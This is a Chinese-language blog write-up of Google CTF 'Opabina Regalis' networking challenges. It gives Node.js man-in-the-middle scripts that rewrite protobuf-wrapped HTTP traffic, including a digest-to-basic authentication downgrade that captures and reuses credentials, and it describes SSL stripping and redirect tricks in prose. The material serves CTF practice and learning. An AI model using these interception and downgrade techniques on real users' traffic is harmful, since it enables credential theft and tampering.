• 最近玩了 Google CTF ,排在 35 名,本鶸其实是不计划写 Writeup 的,但是感觉超多套路,各种新奇的脑洞,写出来记录一下,跟大家分享一下也好。

    第一次写 writeup, 如果哪里有问题欢迎指出,谢谢。

    Networking

    Opabina Regalis - Token Fetch

    题目要求如上图,Protobuf 描述文件如下:

    package main;
    
    message Exchange {
            enum VerbType {
                    GET = 0;
                    POST = 1;
            }
    
            message Header {
                    required string key = 1;
                    required string value = 2;
            }
    
            message Request {
                    required VerbType ver = 1; // GET
                    required string uri = 2; // /blah
                    repeated Header headers = 3; // Accept-Encoding: blah
                    optional bytes body = 4;
            }
    
            message Reply {
                    required int32 status = 1; // 200 or 302
                    repeated Header headers = 2;
                    optional bytes body = 3;
            }
    
            oneof type {
                    Request request = 1;
                    Reply reply = 2;
            }
    }
    

    我们现在充当中间人的角色,对 HTTP 请求和响应进行修改,从而达到一些不可告人的目的

    第一题连接上来之后,远端会发给你一个 /not-token 的请求,我们只需要将 URL 改成 /token 即可获得 FLAG。

    需要注意的是,所有的题目都需要 SSL,不是普通的 Socket。

    实现代码如下:

    var fs = require("fs");
    var p = require("node-protobuf");
    var pb = new p(fs.readFileSync("out.desc"));
    
    var tls = require('tls');
    
    var conn = tls.connect(1876, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) =>  {
      console.log('Connected');
    });
    
    conn.on("data", function (data) {
      console.log(data.readUInt32LE(0), data.length);
      var buf2 = data.slice(4);
      var newObj = pb.parse(buf2, "main.Exchange");
      console.log(newObj);
      if(newObj.reply){
        console.log(newObj.reply.headers);
        console.log(newObj.reply.body.toString());
      }else{
        newObj.request.uri = '/token';
        var bufx = pb.serialize(newObj, "main.Exchange");
        var sb = new Buffer(bufx.length + 4);
        sb.writeUInt32LE(bufx.length, 0);
        bufx.copy(sb,4);
        console.log(sb);
        console.log(bufx.length,sb.length);
        conn.write(sb);
      }
    });
    
    conn.on("end", function (data) {
      console.log('Disconnected');
    });
    

    Opabina Regalis - Downgrade Attack

    看题目要求应该是需要降级攻击,并且是 HTTP Digest 授权

    连接上之后,服务器会发来一个请求到 /protected/not-secret ,很显然我们需要读取 /protected/secret ,但是 HTTP Digest Auth 签名参数里面有 URL,怎么办呢?我们需要给客户端降级成 HTTP Basic Auth,这样 Base64 解码就能拿到用户名和密码,我们就可以成功访问 secret 拿到 Flag 了。

    完整实现代码如下

    var fs = require("fs");
    var p = require("node-protobuf");
    var pb = new p(fs.readFileSync("out.desc"));
    var tls = require('tls');
    var crypto = require('crypto');
    var http = require("http");
    
    function md5(t) {
      return crypto.createHash('md5').update(t).digest('hex');
    }
    
    function CalcPass(name,realm,pw,method,uri,nonce,nc,cnonce) {
      var HA1= md5(name + ':' + realm + ':' + pw);
      var HA2= md5(method + ':' + uri);
      var response= md5(HA1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + 'auth' + ':' + HA2);
      return response;
    }
    
    function getAuth(uname,realm, pw, nonce,method, uri,opaque) {
      var p = CalcPass(uname, realm , pw , method, uri, nonce, '00000001', '0a4f113b');
      var d = 'Digest username="' + uname + '",realm="' + realm + '",nonce="' + nonce + '",uri="' + uri + '",qop=auth,nc=00000001,cnonce="0a4f113b",response="' + p + '",opaque="' + opaque + '"';
      return d;
    }
    
    var conn = tls.connect(20691, 'ssl-added-and-removed-here.ctfcompetition.com', (socket) =>  {
      console.log('Connected');
    });
    var lastreq,lastres;
    var realm,nonce,opaque;
    
    conn.on("data", function (data) {
      console.log(data.readUInt32LE(0), data.length);
      var buf2 = data.slice(4);
      var newObj = pb.parse(buf2, "main.Exchange");
      console.log(newObj);
      if(newObj.reply){
        lastres = newObj.reply;
        console.log(newObj.reply.headers);
        console.log(newObj.reply.body.toString());
        for (var i = 0; i < newObj.reply.headers.length; i++) {
          var a = newObj.reply.headers[i];
          if(a.key == 'WWW-Authenticate'){
            var autharr = a.value.split(',');
            for (var ix = 0; ix < autharr.length; ix++) {
              if(!autharr[ix]){
                continue;
              }
              var xa = autharr[ix].split('=');
              var v = xa[1].replace(/\"/g,'');
              var k = xa[0];
              if(k == 'Digest realm'){
                realm = v;
              }else if(k == 'nonce'){
                nonce = v;
              }else if(k == 'opaque'){
                opaque = v;
              }
            }
            newObj.reply.headers[i].value = 'Basic realm=' + realm;
          }
        }
    
    
        if(lastreq.reptime == 1){
          return;
        }else{
          sendReq(newObj);
          lastreq.reptime = 1;
        }
    
    
      }else{
        newObj.request.uri = '/protected/secret';
        for (var i in newObj.request.headers) {
          var a = newObj.request.headers[i];
          if(a.key == 'Authorization'){
            var s = a.value.replace('Basic ','');
            var b = new Buffer(s, 'base64').toString();
            var uname = b.split(':')[0];
            var pw = b.split(':')[1];
            var av = getAuth(uname,realm,pw,nonce,'GET',newObj.request.uri,opaque);
            newObj.request.headers[i].value = av;
          }
        }
        lastreq = newObj;
        console.log(newObj.request.headers);
        sendReq(newObj);
      }
    });
    
    function sendReq(newObj) {
      var bufx = pb.serialize(newObj, "main.Exchange");
      var sb = new Buffer(bufx.length + 4);
      sb.writeUInt32LE(bufx.length, 0);
      bufx.copy(sb,4);
      conn.write(sb);
    }
    
    conn.on("end", function (data) {
      console.log('Disconnected');
    });
    

    Opabina Regalis - Redirect

    根据题目可以知道,要模拟服务器把客户端 302 到 /protected/secret ,这个比较简单,就不放代码了。

    Opabina Regalis - SSL Stripping

    要设计一场 SSLStrip 攻击?我刚开始以为要与远端模拟建立 HTTPS 连接,结果手拼了一个握手包,发过去不管用,后来一想,应该还是这个 protobuf,模拟给客户端就好了。

    服务器的返回页面里面有一个 form ,目标指向了 https://elided/user/sign_in ,我们把 https 换成 http。

    由于页面上有很多 "Don't transfer your data via plain text" , "Drop your privacy with plaintext transfer",发给客户端之后客户端直接就吓的关连接了,怎么办?中国有句老话,叫做 ___ ,我们把页面内容整个干掉,弄的只剩这个 form ,发送之后即可获得 Flag。

    Opabina Regalis - Input Validation

    代码跟 Downgrade Attack 一模一样,/protected/secret 改成 /protected/token 就过了,不要问我为什么。。。。我也不知道。。。

    阅读 Part 2